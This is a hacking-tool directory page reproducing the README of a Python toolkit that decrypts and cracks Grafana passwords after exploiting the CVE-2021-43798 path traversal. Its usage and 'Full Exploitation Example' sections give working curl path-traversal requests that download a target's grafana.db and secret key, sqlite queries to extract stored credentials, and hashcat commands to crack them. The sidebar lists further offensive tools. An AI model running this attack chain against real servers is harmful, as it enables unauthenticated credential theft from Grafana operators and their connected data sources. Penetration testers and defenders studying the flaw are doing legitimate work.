Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Grafana-Password-Decryptor — Python toolkit for decrypting AES-256 and cracking PBKDF2 passwords from Grafana databases usually paired with (CVE-2021-43798) | Kitploit
Tools/GitHubGitHub/strikoder-premium/grafana-password-decryptor
Password CrackingEncryption/Decryption ToolsVulnerability AnalysisExploitationPost-ExploitationCryptography
GitHubstrikoder-premium/grafana-password-decryptor

Grafana-Password-Decryptor

Share

Python toolkit for decrypting AES-256 and cracking PBKDF2 passwords from Grafana databases usually paired with (CVE-2021-43798)

View Repository
14811 months agoNot yet reviewed

Grafana Password Decryptor

Python toolkit for decrypting and cracking Grafana passwords from multiple formats.

Coded by: strikoder

What Does This Tool Do?

Handles two types of Grafana password storage:

  • 🔐 AES-256 Base64 (data_source table) → Decrypt directly with AESDecrypt.py
  • 🔨 PBKDF2_HMAC_SHA256 (user table) → Convert for Hashcat with grafana2hashcat.py

Perfect for post-exploitation after CVE-2021-43798 path traversal.

What is CVE-2021-43798?

A path traversal vulnerability in Grafana versions 8.0.0-beta1 through 8.3.0 that allows unauthenticated attackers to read arbitrary files from the server, including:

  • Configuration files (/etc/grafana/grafana.ini)
  • Database files (/var/lib/grafana/grafana.db)
  • System files (/etc/passwd)

Example exploit:

curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../var/lib/grafana/grafana.db' \
  --path-as-is --output grafana.db

This toolkit completes the attack chain by decrypting/cracking the passwords you extract from the database.

Tools Included

1. AESDecrypt.py

Decrypts AES-256 encrypted passwords from the data_source table.

Based on: jas502n/Grafana-CVE-2021-43798 with key improvements:

  • ✅ Flexible Secret Key: Extract key manually (no hardcoded paths)
  • ✅ Batch Processing: Decrypt multiple hashes from a file
  • ✅ Fully Configurable: All parameters via CLI flags

2. grafana2hashcat.py

Converts Grafana PBKDF2_HMAC_SHA256 hashes from the user table to Hashcat-compatible format for password cracking.

Credit: iamaldi/grafana2hashcat

Installation

git clone https://github.com/strikoder/Grafana-Password-Decryptor.git
cd Grafana-Password-Decryptor
pip install cryptography #for Decyrption
chmod +x AESDecrypt.py grafana2hashcat.py

Usage

Tool 1: AESDecrypt.py (for AES-256 Base64 passwords)

Decrypt Single Hash

python3 AESDecrypt.py -hash R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==

Decrypt Multiple Hashes

python3 AESDecrypt.py -f hashes.txt

Using Custom Secret Key

Extract the secret key from Grafana config:

curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../etc/grafana/grafana.ini' --path-as-is | grep secret_key

python3 AESDecrypt.py -hash [HASH] -k YOUR_SECRET_KEY

Tool 2: grafana2hashcat.py (for PBKDF2 hashes)

Convert Single Hash File

python3 grafana2hashcat.py grafana_hashes.txt

Input format (grafana_hashes.txt):

hash1,salt1
hash2,salt2
hash3,salt3

Output (ready for Hashcat):

sha256:10000:base64_salt:base64_hash

Save to File

python3 grafana2hashcat.py grafana_hashes.txt -o hashcat_hashes.txt

Crack with Hashcat

hashcat -m 10900 hashcat_hashes.txt wordlist.txt

Full Exploitation Example

Scenario 1: AES-Encrypted Passwords (data_source table)

# 1. Extract secret key from grafana.ini (might be empty in some cases, use default key in python program in that case)
curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../etc/grafana/grafana.ini' \
  --path-as-is | grep secret_key

# 2. Download the database
curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../var/lib/grafana/grafana.db' \
  --path-as-is -o grafana.db

# 3. Extract AES-encrypted passwords from data_source table
sqlite3 grafana.db "SELECT name, password FROM data_source;"

# 4. Save passwords to file (one per line)
# Example: R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==

# 5. Decrypt with extracted secret key
python3 AESDecrypt.py -f passwords.txt -k [SECRET_KEY]

Scenario 2: PBKDF2 Hashes (user table)

# 0. Download the database
curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../var/lib/grafana/grafana.db' \
  --path-as-is -o grafana.db

# 1. Extract PBKDF2 password hashes from user table
sqlite3 grafana.db "SELECT login, password, salt FROM user;"

# 2. Format hashes for grafana2hashcat (hash,salt format)
# Example format in grafana_hashes.txt:
# 3ad31dc57a7452c442f259cfff7aa61f2a6cea88ee634724ae146e221ae4e01c56c8bcbb3552310acd2fd746a396d2f99bf8,pepper

# 3. Convert to Hashcat format
python3 grafana2hashcat.py grafana_hashes.txt -o hashcat_hashes.txt

# 4. Crack with Hashcat (mode 10900 = PBKDF2-HMAC-SHA256)
hashcat -m 10900 hashcat_hashes.txt rockyou.txt

Quick Reference: Which Tool to Use?

Password TypeDatabase TableFormatToolHashcat Mode
AES-256 Encrypteddata_sourceBase64 stringAESDecrypt.pyN/A (direct decrypt)
PBKDF2_HMAC_SHA256userHex hash + saltgrafana2hashcat.py-m 10900

Credits

  • AESDecrypt.py: Coded by strikoder, based on jas502n's Go implementation
  • grafana2hashcat.py: Created by iamaldi

⭐ Found this useful? Give it a star!

Coded by strikoder

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    717
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    504
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    402
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    342
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    260
  • 6

    antifox

    antifox-ai/antifox

    AI multi-agent autonomous penetration testing platform that runs recon, attack-surface discovery, exploitation validation and evidence-backed report delivery.

    259

Explore all tools

Browse our collection of tools

View all tools →